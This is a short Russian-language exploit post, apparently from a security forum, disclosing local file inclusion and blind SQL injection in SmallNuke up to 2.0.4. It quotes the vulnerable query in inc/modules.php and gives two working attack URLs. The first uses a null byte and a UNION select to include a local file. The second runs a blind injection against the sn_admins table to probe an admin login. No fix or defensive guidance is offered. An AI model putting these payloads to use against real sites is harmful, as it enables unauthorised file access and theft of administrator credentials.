SmallNuke <= 2.0.4 (Локальный инклуд файлов / Слепая SQL инъекция)
Уязвимость в файле:
inc/modules.php
Код:
$sql = "SELECT * FROM ".SN_TABLE_MODULES." WHERE title='$go'";
Данные из запроса подставляются в include()
Фильтрация не достаточная - используется уязвимая функция ereg().
Код:
http://site.com/index.php?go=1%00'+and+1=2+union+select+1,'../robots.txt%00',3,4,5,6,7,8,9,10,11,12--+1
Ну и разумеется инъекцию можно использовать просто как слепую:
Код:
http://site.com/index.php?go=1%00'+and+1=2+union+select+1,'../robots.txt%00',3,4,5,6,7,8,9,10,11,12+from+sn_admins+where+login='grey'--+1
Соответственно если файл инклудится, то запрос выполнен верно, если не подключается - не верно.